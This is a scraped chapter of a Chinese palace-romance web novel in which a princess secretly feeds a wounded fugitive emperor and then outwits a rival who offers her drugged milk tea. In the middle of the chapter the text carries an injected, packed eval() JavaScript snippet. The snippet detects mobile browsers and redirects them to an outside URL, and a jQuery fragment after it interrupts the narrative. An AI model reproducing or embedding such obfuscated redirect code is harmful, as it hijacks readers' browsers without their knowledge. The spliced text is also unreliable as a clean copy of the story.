文趣网 > 其他小说 > 拯救美强惨疯帝 > 4. 疯帝报恩
    明月先在门外站了一会儿。

    里面没有动静。

    明月隔着门缝往里看,只见昨夜那领旧毡落在草垛旁,人却已经不见了。

    她走近两步,又往门后看了一眼。

    还是没人。

    大约已经走了。

    明月低头看着手里的食盒,觉得自己白跑了一趟。

    她弯腰正要把食盒提走,手才碰到提梁,又停了下来。

    万一他只是出去找水,过一会儿还会回来呢?

    明月想了想,还是把食盒放在门槛里侧。

    她没有多留,很快回了院子。

    一直到了傍晚,明月心里仍惦记着那只食盒。

    她等宫女去提晚饭,自己又悄悄出了门。

    北风已经小了些。

    明月走到鹰房门前,低头一看,食盒还放在原处。

    她蹲下身,把盖子掀开。

    里面的东西已经吃完了。

    油纸叠得整齐,乳糕连一点碎屑也没有剩。那只小碟也摆得端端正正,筷子并在一旁。

    明月看了一会儿,忍不住笑了一下。

    这人虽来历不明,吃东西倒很妥帖。

    她把空盘收出来,又将手中带来的热牛乳放进去。

    牛乳装在一只小陶罐里,外面裹了棉套,此时还热着。

    明月把食盒重新盖好,起身走了。

    她没有发现,鹰房最里面的墙角坐着一个人。

    赵玄度藏在阴影里,身上覆着她昨夜送来的旧毡。

    他从明月第一次进来时便醒着。

    午后他原本已经打算离开。

    宫墙西侧有一处矮墙,墙外便是堆放柴草的夹道。以他的身手,伤势再重,也能设法翻出去。

    可明月提着食盒来了。

    她把东西放下,又在门前站了一会儿。

    赵玄度坐在暗处,看着她弯腰去提食盒。她明明已经准备拿走,最后却又把手松开了。

    她走后,他在暗处坐了许久。

    无缘无故给人吃食,多半是在下饵。

    昨日那领旧毡可以没有毒,今日的饭食却未必干净。

    赵玄度自小见过太多这种手段。

    先送药,再等人放下戒心。先递一碗饭,转头就有人带着锁链进门。

    这个辽女也可能早已发现了他,只在装傻。

    她若带着人来,他会先掐住她的脖子,用她换一条活路。若逃不出去,就拖着她一起死。

    烂好心的人,原也未必会有好下场。

    赵玄度看着门槛上的食盒,心中已经把她的死法想了一遍。

    他昨夜趁天未亮,已经从杂役房里摸到了两个冷饼。

    冷饼很硬,勉强也能填肚子。

    他对口腹之欲一向没有兴趣,更不必冒险吃来路不明的东西。

    赵玄度靠在墙边坐了许久。

    太阳一点点往西落。

    那只食盒始终放在门边。

    他最后还是站了起来。

    赵玄度走过去,掀开盒盖,先拿起一块乳糕闻了闻。

    里面没有苦杏仁味,也没有药气。

    他咬了一口。

    乳糕很软,带着淡淡的甜。

    赵玄度慢慢嚼完,又拿起了第二块。

    他没有想明白,自己为何要吃。

    大约是冷饼太硬。

    也可能是这几日伤重,确实该吃些热的。

    至于那个辽女回来时,会不会因食盒空了而高兴,与他自然没有关系。

    赵玄度把里面的东西吃得干干净净,又把油纸叠好,将碟子放回原处。

    做完这些,他本该离开。

    可他又回到了墙角。

    这里虽然四面漏风,昨日已经被人搜过一遍。短时间内,那些人多半不会再来。

    暂且落脚一两日,也没有什么不妥。

    傍晚时,明月果然又来了。

    赵玄度藏在暗处,看着她蹲在食盒前。

    她瞧见东西吃完了,嘴角轻轻弯了一下。

    那笑极浅,很快又收了回去。

    赵玄度望着她,手指在旧毡下慢慢收紧。

    明月把热牛乳放下,抱着空盘走了。

    赵玄度等她走远,才来到门边。

    他掀开陶罐,热气随即冒了出来。

    牛乳里放了一点糖,闻起来很香。

    赵玄度低头喝了一口。

    牛乳很暖。

    暖意顺着喉咙落下去,胸口那阵寒气也跟着散了些。

    他抱着陶罐坐回墙角,又把身上的旧毡裹紧了些。

    明日,她大约还会来。

    这个念头一起,赵玄度眉头一皱。

    他仰头喝尽牛乳,把空罐重重放到身旁。

    她若当真带人过来,他就掳走她。

    赵玄度闭上眼,靠着墙坐了一夜。

    次日午后,他又听见了那声轻叩。

    咚。

    仍旧很轻。

    赵玄度睁开眼,隔着草垛往外看。

    明月今日穿了一件浅白的斗篷,脸上蒙着一层薄纱。

    她把食盒放到门边,听见屋里似有响动,吓得立刻站起身。

    她转身就走。

    走出几步后,她又停了下来。

    明月扶着院门,悄悄回头看了一眼。

    风吹起她的面纱,露出半张白净的脸。

    赵玄度坐在暗处,忽然忘了移开目光。

    外头有两个宫女从夹道经过。

    其中一人朝明月行礼,笑道:“明月殿下,夫人正找您呢。”

    明月忙应了一声,抱紧手中的空盘,快步回了院子。

    赵玄度仍望着那扇已经合上的门。

    耶律明月。

    他在心里念了一遍。

    辽人竟也会起这样的名字。

    赵玄度冷冷垂下眼,伸手把她送来的食盒拖进门内。

    邯郸学步,徒叫人笑话。

    --

    五日后,皇后又使人来请。

    朔国使团不日就要进宫,皇后叫尚衣局裁了几套冬猎的衣裳,请各宫的皇女过去试穿。

    来传话的宫女笑道:“娘娘说了,前几日天气不好,明月殿下没有去成。今日只在殿里坐坐,再没有什么冷风冷水,夫人总该放心了。”

    话说到这个份上,再推辞下去,难免惹人疑心。

    柔妃握着她的手,仍有些迟疑。

    明月笑道:“母妃不必担心,我去坐一会儿,很快回来。”

    柔妃替她整了整领口,低声道:“乌兰珠性子骄,你少同她争。她说什么,你听过便罢。”

    “我知道。”

    明月应得乖顺。

    到了皇后宫中,殿里已经坐了好几个年轻姑娘。

    乌兰珠穿着一身大红猎装,腰间束着金带,头上还戴了一顶雪白狐皮帽。

    她站在镜前转身,见明月进来,把她从头到脚看了一遍。

    “你今日倒肯来了。”

    明月上前行礼:“皇后娘娘有召,不敢不来。”

    乌兰珠听出她话里的意思,狠狠斜了她一眼。

    皇后坐在上首,只当没听见,命人把衣裳送上来。

    尚衣局给明月备的是一套浅青色猎装。

    料子不及乌兰珠身上的贵重,绣纹也简单,穿在她身上依然十分亮眼。

    旁边几个姑娘看了,都忍不住多瞧了两眼。

    乌兰珠转过脸,拿起桌上一根金丝马鞭,在半空中狠狠抽了一鞭子。

    “衣裳好看有什么用,到了猎场上,还要看谁骑得快。”

    无人接话。

    她又道:“听说朔国二皇子最喜善骑射的女子。等他来了,我定要同他赛上一场。”

    明月正在整理袖口,闻言抬起眼。

    “冬猎时,朔国人不大赛马。”

    乌兰珠脸色一顿:“谁说的?”

    “北地雪厚,马腿容易陷进去。他们冬日多放鹰,也会带猎犬追狐。”

    乌兰珠冷笑:“说得像你亲眼见过一样。”

    明月没有同她争,只道:“我在书上看见的。”

    旁边一位年纪小些的姑娘好奇道:“那他们用什么鹰?”

    “海东青。”

    明月道:“寻常的鹰捉不住雪地里的白狐。海东青飞得高,眼睛也利,朔国贵族最看重这个。”

    那姑娘又问:“那二皇子也养么?”

    明月话已到了嘴边,忽然想起那是前世之事,改口道:

    “这个我就不知道了。”

    她低头捧起茶盏。

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17750053|209397||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    “书里只写朔国贵族多爱养鹰,至于各人养什么,我没见过,姐姐见过吗?”

    旁边几个姑娘听了,都低着头笑,转而说起别的鹰种。

    乌兰珠沉下脸。

    她本想借朔国的事压明月一头,明月抢了风头不说,还羞辱自己。

    皇后看了女儿一眼,开口道:“不过是些鹰犬之事,也值得你们说个没完?”

    众人这才散开。

    过了一会儿,宫女送上热乳茶。

    乌兰珠亲自端了一碗,走到明月面前。

    “方才是我说错了。妹妹懂得多,这碗乳茶算我向你赔礼。”

    明月侧目瞧了她一眼,又看向那碗乳茶。

    乳茶上浮着一层奶皮,闻着香甜,底下却透着一点极淡的苦味。

    前世她病后喝过这东西。

    原本已退的高热,又缠绵了七八日。

    等她病好,朔国使团已经离宫。

    那时她只当自己受了风寒。

    如今看来,哪里有这样巧的事。

    她虽打定主意今生绝不会再嫁去朔国,却也绝不会拿自己的身子开玩笑。

    重来一回,最要看重的便是自己的身子。

    明月伸手接过茶碗,微微一笑道:“姐姐这样疼我,我也该回敬姐姐才是。”

    她转身拿起乌兰珠桌上的那一碗。

    “咱们换着喝,也算姐妹和气。”

    乌兰珠的脸色立刻变了。

    皇后咳嗽了一声,乌兰珠却没理会,就要发作。

    明月在她出声前,把茶碗递到她面前:“姐姐怎么不接?”

    乌兰珠盯着那只碗,抬手一碰。

    明月手中的乳茶全泼了出去。

    茶水淋在她的衣袖与裙摆上,湿了一大片。

    皇后连连冷笑,看向女儿面露欣赏。

    乌兰珠捂住嘴:“妹妹,我不是有意的。”

    明月低头看了看衣裳,并未发作。

    “姐姐自然不是有意的。”

    她把空碗放回桌上,拿帕子慢慢擦了擦手指。

    殿中几个姑娘都没说话。

    谁也看得出来,乌兰珠方才不敢接那碗茶。

    乌兰珠脸上一阵红,一阵白,转头唤来自己的宫女。

    “还愣着做什么?带明月去把衣裳换了。”

    那宫女忙走过来,请明月往西配殿去。

    西配殿离正殿不远,中间隔着一条长廊。

    明月随宫女进去,才发现里面没有生炭。

    窗纸也被人捅破了几处,北风正从缝里往里钻。

    宫女把一套干净衣裳放在榻上,又道:“殿下稍候,奴婢去取热水。”

    明月解下披风,搭在一旁。

    宫女抱起披风道:“这上头也沾了乳茶,奴婢一并拿去收拾。”

    不等明月说话,她抱起披风出了门。

    房门随即合上。

    片刻后,外头传来门闩落下的声音。

    明月走到门前,伸手推了一下。

    门被人从外头锁住了。

    “开门。”

    外头没有人应。

    明月又推了两下,门仍旧纹丝不动。

    她转头环顾四周。

    殿中没有炭火,窗子也关不严。风从破处钻进来,把榻上的帘子吹得轻轻晃动。

    乌兰珠不敢让她在宫中出事。

    把她关上一两个时辰,冻出一场病,已经足够了。

    明月拿起榻上的衣裳,先把湿衣换下,又在屋里找了一圈。

    窗子外头装着木栏,根本钻不出去。

    她只好走回门边,用力拍了几下。

    “外头有人么?”

    仍旧无人答话。

    明月抱住手臂,在门前站了一会儿。

    北风灌进衣领,她的手指很快便凉了。

    这时,窗外忽然传来极轻的一声响。

    像是有什么东西擦过墙面。

    明月抬起头。

    她还没来得及走过去,门外忽然又响了一下。

    咔。

    接着,门闩落在了地上。

    明月怔了怔,伸手一推。

    门开了。

    长廊上没有人。

    她的披风正搭在栏杆上,方才拿走披风的宫女也不见踪影。